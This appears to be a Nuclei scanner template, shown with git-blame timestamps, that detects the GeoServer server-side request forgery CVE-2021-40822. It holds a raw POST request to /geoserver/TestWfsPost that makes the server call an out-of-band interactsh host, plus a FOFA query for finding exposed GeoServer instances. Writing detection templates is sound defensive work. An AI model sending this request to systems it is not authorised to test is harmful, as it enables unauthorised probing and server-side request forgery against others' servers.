nuclei-templates/http/cves/2021/CVE-2021-40822.yaml

51 lines
1.4 KiB
YAML
Raw Normal View History

2022-05-18 13:04:39 +00:00
id: CVE-2021-40822
info:
name: Geoserver - Server-Side Request Forgery
2022-05-18 13:04:39 +00:00
author: For3stCo1d
severity: high
description: GeoServer through 2.18.5 and 2.19.x through 2.19.2 allows server-side request forgery via the option for setting a proxy host.
2022-05-18 13:04:39 +00:00
reference:
- https://gccybermonks.com/posts/cve-2021-40822/
- https://github.com/geoserver/geoserver/compare/2.19.2...2.19.3
- https://github.com/geoserver/geoserver/releases
- https://nvd.nist.gov/vuln/detail/CVE-2021-40822
2022-05-18 13:04:39 +00:00
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2021-40822
cwe-id: CWE-918
cpe: cpe:2.3:a:osgeo:geoserver:*:*:*:*:*:*:*:*
epss-score: 0.65495
2022-05-18 13:04:39 +00:00
metadata:
max-request: 1
2022-05-18 13:04:39 +00:00
fofa-query: app="GeoServer"
verified: "true"
2022-07-02 11:44:20 +00:00
tags: cve,cve2021,ssrf,geoserver
2022-05-18 13:04:39 +00:00
http:
2022-05-18 13:04:39 +00:00
- raw:
- |
POST /geoserver/TestWfsPost HTTP/1.1
2022-05-18 17:00:54 +00:00
Host: {{Hostname}}
2022-05-18 13:04:39 +00:00
Content-Type: application/x-www-form-urlencoded
2022-05-18 17:00:54 +00:00
form_hf_0=&url=http://{{interactsh-url}}/geoserver/../&body=&username=&password=
2022-05-18 13:04:39 +00:00
matchers-condition: and
matchers:
- type: word
2022-05-18 17:00:54 +00:00
part: interactsh_protocol # Confirms the HTTP Interaction
2022-05-18 13:04:39 +00:00
words:
2022-05-18 17:00:54 +00:00
- "http"
- type: word
words:
- "<html><head></head><body>"
2022-05-18 13:04:39 +00:00
- type: status
status:
- 200
# Enhanced by mp on 2022/06/30